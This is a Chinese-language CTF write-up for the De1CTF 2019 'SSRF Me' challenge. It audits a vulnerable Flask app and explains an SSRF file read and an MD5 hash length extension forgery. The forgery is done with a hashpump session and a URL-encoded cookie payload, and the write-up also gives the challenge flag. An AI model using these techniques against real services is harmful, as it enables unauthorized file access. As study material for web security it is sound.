web-buuoj-([De1CTF 2019]SSRF Me)


一、题面

提示:

提示flag在当前目录下的flag.txt中。

访问页面默认返回的是一段python代码,需要进行一下代码审计。

二、分析

2.1 代码审计

#!/usr/bin/env python
# encoding=utf-8
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secret_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if self.checkSign():
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                    result['code'] = 200
            elif "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if getSign(self.action, self.param) == self.sign:
            return True
        else:
            return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if waf(param):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open("code.txt", "r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secret_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)

代码分析:

这段代码实现了一个简单的 Web 服务,用于处理网络扫描任务和文件读取任务。它通过签名验证和简单的 WAF 检查来增强安全性。

  1. 导入模块
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json
  • 导入了 Flask 框架用于创建 Web 应用。
  • 导入了 sockethashliburllib 等模块用于网络请求、哈希计算等操作。
  • sysos 用于系统相关的操作。
  • json 用于处理 JSON 数据。
  1. 设置编码
reload(sys)
sys.setdefaultencoding('latin1')
  • 这是为了兼容 Python 2.x 的编码问题。在 Python 3.x 中,这行代码是不必要的。
  1. Flask 应用初始化
app = Flask(__name__)
secret_key = os.urandom(16)
  • 创建了一个 Flask 应用实例。
  • 生成了一个随机的 secret_key,用于签名验证。
  1. Task 类
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)
  • Task 类用于处理任务。
  • 初始化时,根据 IP 地址生成一个沙箱目录。
def Exec(self):
    result = {}
    result['code'] = 500
    if self.checkSign():
        if "scan" in self.action:
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
            resp = scan(self.param)
            if resp == "Connection Timeout":
                result['data'] = resp
            else:
                print(resp)
                tmpfile.write(resp)
                tmpfile.close()
                result['code'] = 200
        elif "read" in self.action:
            f = open("./%s/result.txt" % self.sandbox, '')
            result['code'] = 200
            result['data'] = f.read()
    else:
        result['code'] = 500
        result['msg'] = "Sign Error"
    return result
  • Exec 方法根据 action 执行不同的任务:

    • 如果 action 包含 “scan”,则调用 scan 函数获取数据并写入文件。
    • 如果 action 包含 “read”,则读取文件内容。

    ​ (这里有个点,如果既包含scan又包含read,那么两个分支都会执行。)

  • 如果验证签名失败,返回错误信息。

def checkSign(self):
    if getSign(self.action, self.param) == self.sign:
        return True
    else:
        return False
  • checkSign 方法用于验证签名是否正确。
def getSign(action, param):
    return hashlib.md5(secret_key + param + action).hexdigest()
  • getSign 函数用于生成签名。
  1. 路由和视图函数
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
  • request.args.get("param", "")

    • 尝试从 request.args 中获取名为 param 的参数。
    • 如果 param 参数存在,则返回其值。
    • 如果 param 参数不存在,则返回默认值 ""(空字符串)。
  • urllib.unquote 是一个函数,用于对 URL 编码的字符串进行解码。

  • /geneSign 路由用于生成签名。

def md5(content):
    return hashlib.md5(content).hexdigest()
  • md5 函数用于计算 MD5 哈希值。
def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
  • waf 函数用于简单的 WAF 检查,防止某些危险的协议。

7. 主程序

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)
  • 主程序启动 Flask 应用,监听 80 端口。

总结

这段代码实现了一个简单的 Web 服务,用于处理网络扫描任务和文件读取任务。它通过签名验证和简单的 WAF 检查来增强安全性。

2.2 漏洞利用思路分析

  • 三个路由
@app.route('/') #获取源代码 
@app.route("/geneSign", methods=['GET', 'POST']) #获取签名
@app.route('/De1ta', methods=['GET', 'POST']) #从cookie中获取action和sign,再获取参数param以及ip然后传入Task类中,以json形式返回Task->Exec()

geneSign生成的哈希构成(secret_key + param + action),secret_key 未知,但是param可控,action是“scan”字符串。这里想到用哈希扩展攻击,在不知道secret_key的情况下也能计算哈希值。(哈希扩展攻击见本站:《哈希长度扩展攻击》一文,https://sxksec.cn/2024/11/29/mi-ma-xue-suan-fa-an-quan/ha-xi-chang-du-kuo-zhan-gong-ji/)

哈希长度扩展攻击(Hash Length Extension Attacks)是一种针对某些加密散列函数的攻击手段,特别适用于那些基于Merkle–Damgård结构的算法,如MD5和SHA-1。

这类攻击的核心在于,如果你知道一个消息(message)和密钥(key)的组合的哈希值,即使不知道密钥的具体值,只要知道密钥的长度,你就能在这个消息后面添加额外的信息,并计算出新的哈希值。

  • scan函数
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

scan方法用的是urllib.urlopen(),没有对参数进行过滤,造成了SSRF漏洞,这里有两种方法可以读取本地文件。

1)直接写文件名flag.txt

2)local_file ,这个被过滤了。

具体参考:https://bugs.python.org/issue35907

  • 所以整体思路如下:

1)通过伪造secret_key +flag.txt+scan+xxxxx...xxx+read的哈希值,使得能够满足签名验证。

2)通过scan action获取flag.txt的值,通过read action读取result.txt的值。

三、解题

3.1 伪造签名

  • 获取 secret_key + flag.txt + scan的签名:
8100319869013029db5beab17bfa9ba9
  • 构造secret_key +flag.txt+scan+xxxxx...xxx+read的签名:

因为secret_key + flag.txt +scan是固定的,扩展的内容就是read。secret_key + flag.txt可以视作密钥。

keylength=len(secret_ket)+len(flag.txt)=16+8=24。

利用hashpump工具构造哈希值:(推荐在kali中使用)

┌──(root💀kali)-[~]
└─# hashpump
Input Signature: 8100319869013029db5beab17bfa9ba9
Input Data: scan
Input Key Length: 24
Input Data to Add: read
677ae112e086b6faf3c0f2088773371c
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

转化为url编码:

action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=677ae112e086b6faf3c0f2088773371c

3.2 构造参数获取flag

/De1ta路由传入param=flag.txt,并在cookie设置actionsign即可得到flag

Flag:

flag{24270e18-7136-4fe7-93d6-e61713c16837}

总结

这个题目稍微难一些,考点主要包括:flask web系统代码审计、SSRF漏洞读取文件和哈希长度扩展攻击,相对比较综合。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录